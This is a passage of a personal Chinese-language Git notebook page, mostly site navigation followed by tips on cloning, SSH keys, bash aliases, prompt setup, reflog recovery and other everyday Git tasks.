class=\"md-nav__link\">\n    本地忽略一些个人的修改\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#branchpushgit-push-u\" class=\"md-nav__link\">\n    本地创建branch后push操作git push -u\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gpggit\" class=\"md-nav__link\">\n    用gpg给git提交签名\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"用gpg给git提交签名\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#gpg2\" class=\"md-nav__link\">\n    安装gpg2\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#key\" class=\"md-nav__link\">\n    创建一个新的key\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#key-github\" class=\"md-nav__link\">\n    导出key的公钥 在github设置中提交\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#gitgpg\" class=\"md-nav__link\">\n    配置git使用gpg签名\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#gpg\" class=\"md-nav__link\">\n    修改gpg要求再次输入密码的时间限制\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gitlab-api\" class=\"md-nav__link\">\n    使用GitLab API存储数据备份文件 不占用本地空间\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gitgit-pull\" class=\"md-nav__link\">\n    在git服务器无法连接时点对点git pull\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git_2\" class=\"md-nav__link\">\n    git禁用压缩\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#githubssh-key-ghclone\" class=\"md-nav__link\">\n    GitHub不同仓库使用不同ssh key: ghclone\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git_3\" class=\"md-nav__link\">\n    启动一个临时的Git服务器 本地之间同步\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#githubstar\" class=\"md-nav__link\">\n    备份GitHub上自己star过的仓库\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git-clonepushsshyes\" class=\"md-nav__link\">\n    git clone和push避免输入ssh询问的yes\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gitea\" class=\"md-nav__link\">\n    部署gitea\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gitcommit\" class=\"md-nav__link\">\n    Git查询特定commit时间\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#githubreleases\" class=\"md-nav__link\">\n    GitHub查询所有releases\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git-diff\" class=\"md-nav__link\">\n    git diff显示修改后行号\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gittagcommit\" class=\"md-nav__link\">\n    git导出tag与commit关系\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    立即使用\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git-clone\" class=\"md-nav__link\">\n    加速git clone\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git-push\" class=\"md-nav__link\">\n    git push加速\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git-push_1\" class=\"md-nav__link\">\n    git push免密码\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash\" class=\"md-nav__link\">\n    bash别名设置\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bashdirty\" class=\"md-nav__link\">\n    设置bash中的自动完成与dirty提示\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    好玩的命令们\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"好玩的命令们\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#git-status\" class=\"md-nav__link\">\n    git status\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#git-reset\" class=\"md-nav__link\">\n    git reset\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#git-checkout\" class=\"md-nav__link\">\n    git checkout\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#git-reset-soft\" class=\"md-nav__link\">\n    git reset --soft \n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#git-reset-hard\" class=\"md-nav__link\">\n    恢复git reset --hard删除的文件\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    你可能会问的一些问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git_1\" class=\"md-nav__link\">\n    Git各种情景\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Git各种情景\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#aliba\" class=\"md-nav__link\">\n    忽略*.a文件但不想忽略lib.a\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#commit\" class=\"md-nav__link\">\n    commit补上忘掉的文件\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    查出此行代码的最后修改者\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#commit_1\" class=\"md-nav__link\">\n    文件一次性改太多了，拆成多次commit\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    本地忽略一些个人的修改\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#branchpushgit-push-u\" class=\"md-nav__link\">\n    本地创建branch后push操作git push -u\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gpggit\" class=\"md-nav__link\">\n    用gpg给git提交签名\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"用gpg给git提交签名\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#gpg2\" class=\"md-nav__link\">\n    安装gpg2\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#key\" class=\"md-nav__link\">\n    创建一个新的key\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#key-github\" class=\"md-nav__link\">\n    导出key的公钥 在github设置中提交\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#gitgpg\" class=\"md-nav__link\">\n    配置git使用gpg签名\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#gpg\" class=\"md-nav__link\">\n    修改gpg要求再次输入密码的时间限制\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gitlab-api\" class=\"md-nav__link\">\n    使用GitLab API存储数据备份文件 不占用本地空间\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gitgit-pull\" class=\"md-nav__link\">\n    在git服务器无法连接时点对点git pull\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git_2\" class=\"md-nav__link\">\n    git禁用压缩\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#githubssh-key-ghclone\" class=\"md-nav__link\">\n    GitHub不同仓库使用不同ssh key: ghclone\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git_3\" class=\"md-nav__link\">\n    启动一个临时的Git服务器 本地之间同步\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#githubstar\" class=\"md-nav__link\">\n    备份GitHub上自己star过的仓库\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git-clonepushsshyes\" class=\"md-nav__link\">\n    git clone和push避免输入ssh询问的yes\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gitea\" class=\"md-nav__link\">\n    部署gitea\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gitcommit\" class=\"md-nav__link\">\n    Git查询特定commit时间\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#githubreleases\" class=\"md-nav__link\">\n    GitHub查询所有releases\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git-diff\" class=\"md-nav__link\">\n    git diff显示修改后行号\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gittagcommit\" class=\"md-nav__link\">\n    git导出tag与commit关系\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"git\">Git<a class=\"headerlink\" href=\"#git\" title=\"Permanent link\">&para;</a></h1>\n<p>参考 <strong>沉浸式学 Git</strong> http://igit.linuxtoy.org/</p>\n<p>参考 Learn Git Branching <a href=\"https://learngitbranching.js.org/?locale=zh_CN\">learngitbranching.js.org</a></p>\n<hr />\n<h2 id=\"_1\">立即使用<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p>在网页上先创建了仓库，设置好.gitignore</p>\n<div class=\"codehilite\"><pre><span></span><code>git<span class=\"w\"> </span>clone<span class=\"w\">  </span>github提供的地址<span class=\"o\">(</span>用ssh的<span class=\"o\">)</span>\n<span class=\"c1\"># 现在创建了你的仓库文件夹，将需要上传的文件放进去</span>\n<span class=\"nb\">cd</span><span class=\"w\"> </span>你的仓库名称\ngit<span class=\"w\"> </span>add<span class=\"w\"> </span>.\ngit<span class=\"w\"> </span>commit<span class=\"w\"> </span>-a<span class=\"w\"> </span>-m<span class=\"w\"> </span><span class=\"s2\">&quot;这次改了些啥？&quot;</span>\ngit<span class=\"w\"> </span>push\n</code></pre></div>\n\n<p>更多的配置：</p>\n<div class=\"codehilite\"><pre><span></span><code># 默认git pull --rebase\ngit config --global pull.rebase true\n</code></pre></div>\n\n<hr />\n<h2 id=\"git-clone\">加速git clone<a class=\"headerlink\" href=\"#git-clone\" title=\"Permanent link\">&para;</a></h2>\n<p>方法1：配置一个代理(如privoxy)，并使用https地址</p>\n<p>方法2：使用<code>--depth 1</code>参数表示不要复制历史</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">export</span><span class=\"w\"> </span><span class=\"n\">https_proxy</span><span class=\"o\">=</span><span class=\"s2\">&quot;http://127.0.0.1:8118&quot;</span>\n<span class=\"n\">git</span><span class=\"w\"> </span><span class=\"n\">clone</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">depth</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"w\"> </span><span class=\"n\">https</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">github</span><span class=\"o\">.</span><span class=\"n\">com</span><span class=\"o\">/</span><span class=\"n\">zjuchenyuan</span><span class=\"o\">/</span><span class=\"n\">notebook</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"git-push\">git push加速<a class=\"headerlink\" href=\"#git-push\" title=\"Permanent link\">&para;</a></h2>\n<p>代码参见<a href=\"/code/ssgit.txt\">code/ssgit.txt</a></p>\n<hr />\n<h2 id=\"git-push_1\">git push免密码<a class=\"headerlink\" href=\"#git-push_1\" title=\"Permanent link\">&para;</a></h2>\n<p>参照http://blog.csdn.net/chfe007/article/details/43388041</p>\n<p>首先生成自己的ssh密钥，不要修改生成的文件位置</p>\n<div class=\"codehilite\"><pre><span></span><code>ssh-keygen -t rsa -b 4096\n</code></pre></div>\n\n<p>然后把<code>~/.ssh/id_rsa.pub</code>的内容设置到github中，<a href=\"https://github.com/settings/keys\">网页端操作</a>；建议顺带启用两步验证</p>\n<p>新手还告诉git自己是谁：</p>\n<div class=\"codehilite\"><pre><span></span><code>git config --global user.email &quot;你的邮箱&quot;\ngit config --global user.name &quot;你的用户名&quot;\n</code></pre></div>\n\n<p>如果当前仓库是https的，改为git方式：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">git</span><span class=\"w\"> </span><span class=\"n\">remote</span><span class=\"w\"> </span><span class=\"k\">set</span><span class=\"o\">-</span><span class=\"n\">url</span><span class=\"w\"> </span><span class=\"n\">origin</span><span class=\"w\"> </span><span class=\"n\">git</span><span class=\"nv\">@github</span><span class=\"p\">.</span><span class=\"nl\">com</span><span class=\"p\">:</span><span class=\"n\">用户名</span><span class=\"o\">/</span><span class=\"n\">仓库名称</span><span class=\"p\">.</span><span class=\"n\">git</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"bash\">bash别名设置<a class=\"headerlink\" href=\"#bash\" title=\"Permanent link\">&para;</a></h2>\n<p>通过修改~/.bashrc来设置别名，让git的日常使用更简单：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">func_g</span><span class=\"p\">()</span><span class=\"err\">{</span>\n<span class=\"w\">  </span><span class=\"n\">git</span><span class=\"w\"> </span><span class=\"k\">add</span><span class=\"w\"> </span><span class=\"p\">.</span>\n<span class=\"w\">  </span><span class=\"n\">git</span><span class=\"w\"> </span><span class=\"k\">commit</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">m</span><span class=\"w\"> </span><span class=\"ss\">&quot;$1&quot;</span>\n<span class=\"w\">  </span><span class=\"n\">git</span><span class=\"w\"> </span><span class=\"n\">push</span>\n<span class=\"err\">}</span>\n<span class=\"k\">alias</span><span class=\"w\"> </span><span class=\"n\">g</span><span class=\"o\">=</span><span class=\"n\">func_g</span>\n<span class=\"k\">alias</span><span class=\"w\"> </span><span class=\"n\">gs</span><span class=\"o\">=</span><span class=\"s1\">&#39;git status &#39;</span>\n<span class=\"k\">alias</span><span class=\"w\"> </span><span class=\"n\">ga</span><span class=\"o\">=</span><span class=\"s1\">&#39;git add &#39;</span>\n<span class=\"k\">alias</span><span class=\"w\"> </span><span class=\"n\">gb</span><span class=\"o\">=</span><span class=\"s1\">&#39;git branch &#39;</span>\n<span class=\"k\">alias</span><span class=\"w\"> </span><span class=\"n\">gc</span><span class=\"o\">=</span><span class=\"s1\">&#39;git commit&#39;</span>\n<span class=\"k\">alias</span><span class=\"w\"> </span><span class=\"n\">gd</span><span class=\"o\">=</span><span class=\"s1\">&#39;git diff&#39;</span>\n<span class=\"k\">alias</span><span class=\"w\"> </span><span class=\"k\">go</span><span class=\"o\">=</span><span class=\"s1\">&#39;git checkout &#39;</span>\n<span class=\"k\">alias</span><span class=\"w\"> </span><span class=\"n\">gp</span><span class=\"o\">=</span><span class=\"s1\">&#39;git push&#39;</span>\n<span class=\"k\">alias</span><span class=\"w\"> </span><span class=\"n\">gl</span><span class=\"o\">=</span><span class=\"ss\">&quot;git log --all --pretty=format:&#39;%h %ad | %s%d [%an]&#39; --graph --date=short&quot;</span>\n</code></pre></div>\n\n<p><img alt=\"gl的效果\" src=\"https://raw.githubusercontent.com/zjuchenyuan/notebook/master/download/img/gl.jpg\" /></p>\n<p>完成一次提交，现在只需要<code>g \"提交信息\"</code></p>\n<p>要立即生效，可以执行<code>source ~/.bashrc</code></p>\n<h2 id=\"bashdirty\">设置bash中的自动完成与dirty提示<a class=\"headerlink\" href=\"#bashdirty\" title=\"Permanent link\">&para;</a></h2>\n<p>此部分内容来自Udacity 如何使用 Git 和 GitHub 课程</p>\n<p>下载需要的文件</p>\n<div class=\"codehilite\"><pre><span></span><code>curl -O https://raw.githubusercontent.com/git/git/master/contrib/completion/git-completion.bash\ncurl -O https://raw.githubusercontent.com/git/git/master/contrib/completion/git-prompt.sh\n</code></pre></div>\n\n<p>在<code>~/.bashrc</code>末尾添加：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">source</span><span class=\"w\"> </span><span class=\"o\">~/</span><span class=\"n\">git</span><span class=\"o\">-</span><span class=\"n\">completion</span><span class=\"o\">.</span><span class=\"n\">bash</span>\n<span class=\"n\">green</span><span class=\"o\">=</span><span class=\"s2\">&quot;\\[</span><span class=\"se\">\\033</span><span class=\"s2\">[0;32m\\]&quot;</span>\n<span class=\"n\">blue</span><span class=\"o\">=</span><span class=\"s2\">&quot;\\[</span><span class=\"se\">\\033</span><span class=\"s2\">[0;34m\\]&quot;</span>\n<span class=\"n\">purple</span><span class=\"o\">=</span><span class=\"s2\">&quot;\\[</span><span class=\"se\">\\033</span><span class=\"s2\">[0;35m\\]&quot;</span>\n<span class=\"n\">reset</span><span class=\"o\">=</span><span class=\"s2\">&quot;\\[</span><span class=\"se\">\\033</span><span class=\"s2\">[0m\\]&quot;</span>\n<span class=\"n\">source</span><span class=\"w\"> </span><span class=\"o\">~/</span><span class=\"n\">git</span><span class=\"o\">-</span><span class=\"n\">prompt</span><span class=\"o\">.</span><span class=\"n\">sh</span>\n<span class=\"k\">export</span><span class=\"w\"> </span><span class=\"n\">GIT_PS1_SHOWDIRTYSTATE</span><span class=\"o\">=</span><span class=\"mi\">1</span>\n<span class=\"k\">export</span><span class=\"w\"> </span><span class=\"n\">PS1</span><span class=\"o\">=</span><span class=\"s2\">&quot;$purple\\u$green\\$(__git_ps1) \\w</span><span class=\"se\">\\a</span><span class=\"s2\"> $ $reset&quot;</span>\n</code></pre></div>\n\n<p>效果如图，如果出现了未提交的修改，会自动显示出*表示dirty：</p>\n<p><img alt=\"setgit.jpg\" src=\"../download/img/setgit.jpg\" /></p>\n<h2 id=\"_2\">好玩的命令们<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"git-status\">git status<a class=\"headerlink\" href=\"#git-status\" title=\"Permanent link\">&para;</a></h3>\n<p>查看状态咯~</p>\n<h3 id=\"git-reset\">git reset<a class=\"headerlink\" href=\"#git-reset\" title=\"Permanent link\">&para;</a></h3>\n<p>已经<code>git add</code>了，想取消这一步就用<code>git reset</code></p>\n<h3 id=\"git-checkout\">git checkout<a class=\"headerlink\" href=\"#git-checkout\" title=\"Permanent link\">&para;</a></h3>\n<p>啊。。。代码搞坏了我要回滚到上次commit，用<code>git checkout -- 文件名</code></p>\n<h3 id=\"git-reset-soft\">git reset &ndash;soft <commit_id><a class=\"headerlink\" href=\"#git-reset-soft\" title=\"Permanent link\">&para;</a></h3>\n<p>撤销到某次commit，但不删除新增文件</p>\n<p>其中commit_id可以从<code>git log</code>获得</p>\n<h3 id=\"git-reset-hard\">恢复git reset &ndash;hard删除的文件<a class=\"headerlink\" href=\"#git-reset-hard\" title=\"Permanent link\">&para;</a></h3>\n<p>git的历史是不能用命令修改的，丢失的commit用reflog可以找回，除非git已经把它当成垃圾删除（30天）</p>\n<div class=\"codehilite\"><pre><span></span><code>git stash save\ngit reflog # 查看丢失的那个commit的id\ngit checkout 那个commitid\ngit branch recover # 创建recover分支\ngit checkout master # 回到master\ngit merge recover # 合并recover到master\ngit branch -d recover # 合并完成后就可以删了\n</code></pre></div>\n\n<hr />\n<h2 id=\"_3\">你可能会问的一些问题<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h2>\n<ul>\n<li>为啥要<strong>git add</strong>呢?</li>\n</ul>\n<p>因为有些时候两个文件可能是不相关的修改，应该分别提交两次</p>\n<blockquote>\n<p>通过分开暂存和提交，你能够更加容易地调优每一个提交。</p>\n</blockquote>\n<ul>\n<li>为啥不改.profile而是改.bashrc呢</li>\n</ul>\n<p>因为win10中只要有一个bash窗口没关掉，启动bash就不是登录，而是相当于再开了个<code>docker exec -i -t bashonwin10 /bin/bash</code></p>\n<p>此时是不会执行登录脚本.profile的，但是.bashrc还是会执行的</p>\n<hr />\n<h2 id=\"git_1\">Git各种情景<a class=\"headerlink\" href=\"#git_1\" title=\"Permanent link\">&para;</a></h2>\n<p>Learned from <a href=\"https://github.com/Gazler/githug\">githug</a></p>\n<h3 id=\"aliba\">忽略*.a文件但不想忽略lib.a<a class=\"headerlink\" href=\"#aliba\" title=\"Permanent link\">&para;</a></h3>\n<p>文档查看：<code>git gitignore --help</code></p>\n<p>!表示负向选择，在.gitignore中添加：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">*</span><span class=\"p\">.</span><span class=\"n\">a</span>\n<span class=\"sx\">!lib.a</span>\n</code></pre></div>\n\n<h3 id=\"commit\">commit补上忘掉的文件<a class=\"headerlink\" href=\"#commit\" title=\"Permanent link\">&para;</a></h3>\n<p>如果发现上次commit漏了文件，不应该新加commit而是应该用amend，否则可能上CI就挂</p>\n<div class=\"codehilite\"><pre><span></span><code>git add forgotten.txt\ngit commit --amend\n</code></pre></div>\n\n<h3 id=\"_4\">查出此行代码的最后修改者<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h3>\n<p>github提供的blame功能更好看，显示每行代码的作者和来源于哪次commit</p>\n<div class=\"codehilite\"><pre><span></span><code>git blame filename\n</code></pre></div>\n\n<h3 id=\"commit_1\">文件一次性改太多了，拆成多次commit<a class=\"headerlink\" href=\"#commit_1\" title=\"Permanent link\">&para;</a></h3>\n<p>让每次commit保持在比较小的改动，不要在一个commit中出现两个不那么相关的修改</p>\n<p>本知识学习自：<a href=\"http://www.oschina.net/translate/10-tips-git-next-level\">10 个迅速提升你 Git 水平的提示</a></p>\n<p>方法是在add的时候给出参数-p</p>\n<p>然后git会在每一个修改的block询问是否加入这次的commit，回答y表示加入，n表示不加入，s表示进一步拆分这个block</p>\n<p>完成好选择后，使用<code>git diff --staged</code>命令来查询暂存的修改，没有问题就可以继续<code>git commit</code>啦</p>\n<h3 id=\"_5\">本地忽略一些个人的修改<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h3>\n<p>原文： http://stackoverflow.com/questions/1753070/git-ignore-files-only-locally</p>\n<p>有时候我们不想让git追踪一些个人相关的文件，例如config中修改Debug=True，此时如果去修改.gitignore造成的影响是全局的，并且需要从git中删除这个文件；手动避开add config很烦，有没有更好的方法，让git忽略掉config文件的修改呢？</p>\n<p>方法是修改<code>.git/info/exclude</code>文件，这个文件的语法规则与.gitignore一样</p>\n<p>如果已经造成了修改，还需要执行以下命令：</p>\n<div class=\"codehilite\"><pre><span></span><code>git update-index --assume-unchanged [&lt;file&gt;...]\n</code></pre></div>\n\n<h3 id=\"branchpushgit-push-u\">本地创建branch后push操作git push -u<a class=\"headerlink\" href=\"#branchpushgit-push-u\" title=\"Permanent link\">&para;</a></h3>\n<p>From: 